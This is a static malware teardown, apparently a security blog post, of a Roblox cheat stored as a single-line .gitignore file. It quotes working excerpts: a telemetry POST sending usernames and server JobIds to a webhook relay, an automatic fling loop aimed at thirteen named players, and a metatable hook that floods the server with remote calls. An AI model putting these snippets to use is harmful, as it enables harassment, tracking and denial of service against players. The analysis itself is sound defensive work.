Static teardown · supply chain

A Roblox cheat that attacks thirteen people
before you touch it

A repo with no README, no stars and one file. The file is called .gitignore. It is 89,728 bytes on a single line, and it is not a gitignore — it is a complete 20,814-token Lua program wrapped in one string literal. I decoded it, beautified it without losing a single token, and read all of it. The interesting part is not the cheating.

Lua 5.1 · 86,414 chars decoded 20,814 tokens 11 tabs · 114 controls 13 hard-coded victims leaks server JobId zero obfuscation

Verdict

Not a credential stealer — and still the worst thing on this site. There is no obfuscation at all: no VM, no string encryption, no anti-debug, no anti-tamper. What makes it hostile is three specific behaviours. On load it posts your Roblox username, executor name, PlaceId and server JobId to a third-party webhook relay. It sets a flag before anything else that makes your client attack thirteen named players the moment any of them joins — no toggle, no menu item, no way to turn it off. And it ships a borrowed server-crash primitive that multiplies every remote call by 50.

Running it means the attacking account is yours, the network traffic is from your IP, and the server address is in someone else's Discord channel.

01Delivery: a program stored as .gitignore

Two layers of camouflage, both trivially reversible:

Decoding is lossless and mechanical — strip the quote pair, resolve \", \\, \n, \ddd. No key, no packing, no encoder. That is the point worth taking away: nothing here is hidden from a reader, only from automated scanners. The whole program is auditable in an afternoon, which is why this teardown can be exhaustive.

LayerWhat the scanner seesWhat is actually there
.gitignoredotfile, plain text, low priority89,728 bytes, 1 line, 20,814 tokens of Lua
decode—86,414 chars · no compression · no encryption
runtime gate—syn.request, hookmetamethod, getgc, Drawing — hard-fails outside a cheat executor

origin blob sha256 e1acd2b06dc828ae10f601e53bc57df48f8d6a9fba420241f621bd00e491bc97 — re-fetched from GitHub while writing this page and byte-identical to the copy in the archive, which is 89,728 bytes.

02Whose script is it

Two different people, deliberately easy to confuse:

RoleIdentityEvidence
Authorbinwonk#1043 · in-game binwonkXDWindow subtitle “Binsploit V5 by binwonk#1043”, eleven rotating popups crediting the same handle, a self-join chat message, and two of the eight remote code sources are gists under GitHub user binwonk
Uploaderaresrexh7-beepAccount opened 2025-10-19, no bio, three repos, zero followers. Repo titled “binwonk's old ro wizard script”, two commits 45 seconds apart, the second message literally “the script”

So this is an archive of someone else's build, not the original author's repo. The script describes itself as “the most skidded script on Roblox” and credits parts of itself out loud — “Crash Server found by Pyronym” in the window subtitle, the stream sniper from a v3rmillion thread, Infinite Yield / SimpleSpy / Hydroxide loaded wholesale. The Ro-Wizard community wiki documents binwonk as a long-running troll of that game, which is the context the thirteen-name list belongs to. Treat that wiki as a community account, not a neutral biography: no real-world identity is published anywhere I could verify, and I did not look for one.

03What happens when it runs

[1] executor console — Synapse X / KRNL / Fluxus / SirHurt / Sentinel / WeAreDevs …
   │  blob pasted, or loadstring'd straight from the repo
   ▼
[2] runtime gate — syn.request · hookmetamethod · getgc · Drawing · firetouchinterest
   │  vanilla Roblox and console builds fail here
   ▼
[3] remote code loads (§07) — rbxassetid://7657867786, api.irisapp.ca, gist ESP library
   ▼
[4] UI built — CreateWindow "Binsploit V5-A" · 11 tabs · 114 controls
   ▼
[5] telemetry POST — one shot, unconditional, while the Hitboxes section is being built (§05)
   ▼
[6] dispatch by place id — a table keyed by tostring(PlaceId)/tostring(GameId)
   ▼
[7] persistent behaviour — __namecall hook · PlayerAdded fling loop (§04) · anti-AFK clicker

Stage [6] is structurally interesting: the cheat payload is a table keyed by stringified PlaceId, dispatched after the UI exists. Adding a game is adding a table entry — there is no plugin system, so a tampered build can only replace entries, not silently add new ones. That is a genuine (accidental) safety property of this design, and it is why the game list below is complete rather than “at least”.

04The thirteen names

Line 7 of the readable copy, before the window, before the menu, before anything:

until game:IsLoaded()
_G.AntiRoWizTard = true

Nothing exposes that flag. No toggle reads it, no menu item clears it, and its name does not appear in the UI at all. Two identical loops — one inside PlayerAdded, one for players already present — then run this, in place 3082707367 only:

if b.Name == "3Purple_Blood3" or b.Name == "fvoltro" or b.Name == "Ro_WizardPro19400"
   or b.Name == "TheEmpressOfDoom" or b.Name == "aliennators" or b.Name == "ambre131308"
   or b.Name == "pro11117777" or b.Name == "chanel_desmonts50" or b.Name == "kaarootkaa"
   or b.Name == "Poronzio" or b.Name == "Lee_Suelbi7" or b.Name == "Stormyyye"
   or b.Name == "Rainbowxcupcake_lily" then
    spawn(function()
        while wait() do                       -- no throttle: every frame
            RemoteEvent:FireServer(unpack({
                [1] = "HandleDamage",
                [2] = { Type = "Normal", Hit = victim.HumanoidRootPart,
                        Norm = Vector3.new(math.huge, math.huge, math.huge),
                        Pos  = victim.HumanoidRootPart.Position,
                        SpellName = "levicorpus" }   -- the levitation jinx
            }))
        end
    end)
end

levicorpus is the game's levitation jinx. Sending it with an infinite normal vector is the standard fling primitive: the victim's character is launched with unbounded velocity, which usually kills them by fall damage and can desync or disconnect them. Thirteen usernames, two code paths, fired at frame rate.

Two details make the intent unambiguous rather than “just a feature”: the list is specific named players — not a team, not a role, not whoever killed you — and it fires automatically, so whoever runs the script becomes the attacker without choosing anything. There is a Kill Player textbox and a Fling/Kill All button that do the same thing to anyone you pick; those need a toggle. The thirteen-name loop does not.

05Telemetry: your username, your executor, your server

Executed inline while the Hitboxes section is being constructed — i.e. at script start, no interaction, no confirmation:

local payload = { embeds = {{ title = "Binsploit V5", color = 13632027,
  footer = { text = "go away" },
  fields = {
    { name = "Username:", value = LocalPlayer.Name },
    { name = "Exploit:",  value = detectExecutor() },   -- 14 executor names, incl. "Undetectable"
    { name = "Time:",     value = os.date() },
    { name = "PlaceID:",  value = game.PlaceId },
    { name = "JobId:",    value = game.JobId },          -- ← the sensitive one
}}}
urll = "https://vineyard.performave.com/api/webhook/v1/proxy/5a7c4f27-…"
local t = http_request or request or HttpPost or syn.request
t({ Url = urll, Body = HttpService:JSONEncode(payload), Method = "POST",
    Headers = { ["content-type"] = "appl".."ication/js".."on" } })

Why JobId matters more than PlaceId: PlaceId only says which game. JobId identifies that exact server instance. With it, anyone in the Discord channel can call TeleportService:TeleportToPlaceInstance(3082707367, jobId, …) and land in your server within seconds — and the same script demonstrably knows that API family, because it pages the public server list for the stream sniper. The content-type header is deliberately split across three concatenated strings: pure pattern evasion against static scanners, while JSONEncode supplies the real body anyway. The host is a third-party webhook relay, so the destination channel is not visible in the source.

A correction, including to my own first read

The script also contains a run of reversed char-codes at line 106 that decodes to a string shaped exactly like a Discord webhook id/token. It looks like the real exfiltration path. It is dead code. The decoded characters are iterated, copied into a global named skjlflo, and never concatenated into a URL. The same is true of local d = "https://discordapp.com/api/web", which is overwritten by the loadstring on the very next line. The only live exfiltration path in this build is the relay above — which is worse, because it means the author keeps the token server-side.

06Crash Server (By Pyronym)

local meta = getrawmetatable(game)
local orig = meta.__namecall
setreadonly(meta, false)
meta.__namecall = function(self, ...)
    local method = getnamecallmethod()
    if self.Name == "SayMessageRequest" then return orig(self, ...) end  -- the only exemption
    if method == "FireServer" or method == "InvokeServer" then
        for i = 1, 50 do orig(self, ...) end          -- 50× every remote call
    end
    return orig(self, ...)
end
wait()
HumanoidRootPart.CFrame = CFrame.new(223.30, -57.77, 280.25)   -- one hard-coded spot
wait(0.1)
spawn(e) spawn(f)     -- broom-destruction loop + material-replacement loop

Every FireServer and InvokeServer that goes through that metatable — the script's, and the game's own client code — is multiplied by fifty, while two spawned loops churn material replacements and the thirteen-name loop keeps the remote saturated. This is a denial of service aimed at the instance, not at a player, and it is credited to Pyronym on the window subtitle: borrowed, not written here.

07Supply chain: what runs that isn't in the repo

#EndpointPinned?PurposeConsequence
1rbxassetid://7657867786 → game:GetObjects()[1].SourcenoUI librarycode read from an opaque asset id — swappable without touching the repo
2api.irisapp.ca/Scripts/IrisBetterNotifications.luanonotificationsthird party, mutable
3gist…/binwonk/…/BinsploitESP.luayes e14d164ESP engine404 — author's GitHub account is gone
4gist…/binwonk/…/218932139.luayes 7e18618re-injected after every teleport404
5raw.githubusercontent.com/EdgeIY/infiniteyield/master/sourcenoadmin panelmutable master, 488 KB today
6exxtremestuffs/SimpleSpySource/masternoremote spymutable
778n/SimpleSpy/mainnoremote spy v3mutable
8…/Hydroxide/%s/%s.luatemplateremote spyparameters supplied at call time

Auditing this file does not audit the program you end up running: six of the eight code sources are mutable, and only the two gists under binwonk's name were revision-pinned — which is the one genuinely careful decision in the whole build.

And the careful decision is what broke it

I fetched all eight endpoints while writing this. The two pinned gists return 404: binwonk's GitHub account no longer exists, and a commit-pinned raw URL dies with its user. The mutable ones still answer 200. So this archived build now breaks when the ESP library loads — the script as published is dead on arrival, and its author's one good habit is the reason. That is a nice summary of the whole artefact: real capability, no maintenance.

08What is broken, fake, or dead

ClaimReality
“Mod Wand”the author labels it himself: Mod Wand (Toggle Not Working)
“Recieve Nitro”gated behind if c == "NITRO" where c = "NO_NITRO" — unreachable. If it were reachable it would spin while true do writefile("DISCORDNITROFREE"..rand..".txt", GenerateGUID())
Hidden webhook id/tokendecodes fine, never used (§05)
local m = false then local m = truedead first assignment, lines 41–42
Both attack loops call print(flingPos)flingPos is never defined — prints nil every frame
First loop's Pos fieldHumanoidRootPart.HumanoidRootPart → nil; only the second copy, using .Position, works
Variable namingevery scope re-declares b, c, d, e, f, g — hostile to human review, no obstacle to analysis

This matters for threat assessment. The capability is real and was tested against live games; there is no sophisticated defence evasion — no VM, no anti-debug, no environment fingerprinting beyond the executor-name string. A competent admin detects it easily, and a competent analyst reads all of it.

09Reading a single 89 KB line without running it

The blob has no newlines, so the first job is to get a token stream and prove the reformatting is lossless. I wrote a small Lua tokeniser rather than trusting a generic formatter, because a formatter that guesses wrong about a long string or a --[[ ]] comment silently moves code across a boundary. The assertion is the point:

python3 delua.py
roundtrip_ok: True  tokens: 20814  lines: 1911

Then the reading is ordinary: enumerate the controls, find every string that looks like a URL, follow every remote load, and check which flags are read anywhere else. All four files are downloadable from the archive next to this page, including the original blob at its exact 89,728 bytes.

10If it has already been run

1
The Roblox accountExploiting is a Terms of Use violation and this script is loud. Expect a ban on detection; the traffic is its own evidence. Change the password and turn on 2FA if the account matters.
2
The executor, which is the actual riskExecutors request elevated privileges and are the standard vector for real stealers — not this script. Uninstall it, then treat any Roblox session cookie as compromised: check Settings → Security → active sessions.
3
If you run a serverThe JobId leak means the script's audience can be sent straight to your instance. Rejoining is the only mitigation; there is no remote admin command in this build.

Indicators

# blob + payload hosts
github.com/aresrexh7-beep/binwonk-s-old-ro-wizard-script      (blob in .gitignore, commit 9cf1074)
gist.githubusercontent.com/binwonk/b8276cf81983acdc83fef92f254b59c6    (404)
gist.githubusercontent.com/binwonk/25dc0680fa2abe5748245f85725f6516    (404)
vineyard.performave.com/api/webhook/v1/proxy/5a7c4f27-…
api.irisapp.ca/Scripts/IrisBetterNotifications.lua

# in-client artefacts
_G.AntiRoWizTard        global flag, always true, nothing reads it back
skjlflo                 global, dead webhook string
folder "binsploitM/"    written by the music player
window title "Binsploit V5-A" / subtitle "Binsploit V5 by binwonk#1043"

# in-game fingerprints
chat: "binwonk#1043, creator of Binsploit V5, joined your server! Say hi!"
chat: "binwonk#1043, creator of Binsploit V5, is in your server! Say hi!"
teleport to CFrame.new(223.30, -57.77, 280.25) in place 3082707367
bursts of 50× duplicate FireServer traffic on any one remote

Games it carries payloads for

PlaceIdGameControlsPlaceIdGameControls
3082707367RO-Wizard1673885730Prison Life11
111958650Arsenal51119466531Legends of Speed4
11868251164Skydive Off A Tower5662417684Lucky Block Battlegrounds6
1962086868 / 3582763398Tower of Hell26728870912World of Stands1
6338482540Grapple People112151453277Abyss World1
286090429Work at a Pizza Place—deliberate chat-spam exemption — avoids their strict chat filter

11What this is not

To be precise about the boundary: no browser or credential access, no os.execute or io.open on system paths, no persistence outside the executor's sandbox, no keylogging, no wallet access, no self-update beyond the eight listed sources. It is a game cheat with telemetry and a built-in griefing payload, warehoused in a file-naming trick. The part worth studying is the warehousing and the always-on named-target loop that converts any user into an attacker — not the cheating, which is ordinary v3rmillion-era assembly.

static onlyno executionround-trip proved8 endpoints checked livebyte-identical archive